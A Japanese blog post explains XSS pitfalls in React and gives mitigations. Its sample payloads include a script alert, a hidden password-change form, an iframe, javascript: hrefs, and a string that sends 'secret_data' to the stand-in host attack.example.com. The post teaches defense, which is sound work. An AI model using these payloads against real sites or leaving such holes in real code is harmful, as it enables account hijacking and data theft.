JSX内の式埋め込みでは、基本的にHTMLとして解釈されないようエスケープされます。ですが、危険性がゼロなわけではありません。
Reactの標準エスケープ
const App = () => {
const userInputText1 = `<script>alert("XSS!")</script>`;
const userInputText2 = `<div>DIV!</div>`;
return (
<div>
{userInputText1}
{userInputText2}
</div>
);
}
結果
正しくエスケープされている
XSSの発生パターン
1. dangerouslySetInnerHTML
の利用
React公式のエスケープを無効化するオプションです。基本的に使いませんが、どうしてもHTMLとして認識させたい場合などに利用するそうです。
const App = () => {
const userInputText1 = `<script>alert("XSS!")</script>`;
const userInputText2 = `<div>DIV!</div>`;
const userInputText3 = '
<form action="http://api.example.com/change_password" method="POST">
<input type="hidden" name="password" value="hack" />
<input type="submit" value="これ見て!" />
</form>
';
const userInputText4 = `<iframe src="https://qiita.com"></iframe>`;
return (
<div>
<div dangerouslySetInnerHTML={{ __html: userInputText1 }} />
<div dangerouslySetInnerHTML={{ __html: userInputText2 }} />
<div dangerouslySetInnerHTML={{ __html: userInputText3 }} />
<div dangerouslySetInnerHTML={{ __html: userInputText4 }} />
</div>
);
};
結果
タグが適用されている
まず、scriptタグは無視されます。これは、ES仕様のとしてinnerHTML
でのscriptが動作しないだけで、他のあらゆる要素は解釈されます。
もちろん、iframe
やform
は正常に表示されてしまいます。この時点でXSRF対策が不十分であったりすると、重大なセキュリティ事故につながります。
対策
使わない。どうしても利用したい場合は、徹底的にエスケープを行う。
2. javascriptスキームの悪用
href
属性は、先頭がjavascript:
から始まる場合はそれ以降の文字列をjavascriptとして実行します。もちろんwindow.location
オブジェクトへの操作も同様です。
const App = () => {
const userInputText1 = `javascript: alert('Warning!')`;
// locationオブジェクトへの操作も同様
// window.location.href = userInputText1;
return (
<div>
<a href={`${userInputText1}/edit`}>link</a>
</div>
);
};
結果
javascriptが実行されてしまっている
対策
先頭からユーザーが決められる文字列を挿入しない。そもそも先頭に/
をつける。
<a href={`/${userInputText1}/edit`}>link</a>
基本はサーバーの生成する一意のIDやランダム文字列を識別子として扱うように設計すると安全な気がします。(例えばユーザー名に/
などの記号が紛れ込んでしまっていても、意図しない遷移先に書き換えられる恐れがあるので)
hrefの最悪な使い方
極端ですが、こんなことをした日には、Reactエンジニア失格です...。普通にonClick
を使いましょう。
const App = () => {
// 悪意のある値
const userInput = "');location.href = 'http://attack.example.com?data=secret_data';//";
const hrefAction = `
alert('${userInput}');
`;
return (
<div>
<a href={`javascript:${hrefAction}`}>link</a>
</div>
);
};
終わりに
ご指摘等あれば、コメントよろしくお願いします。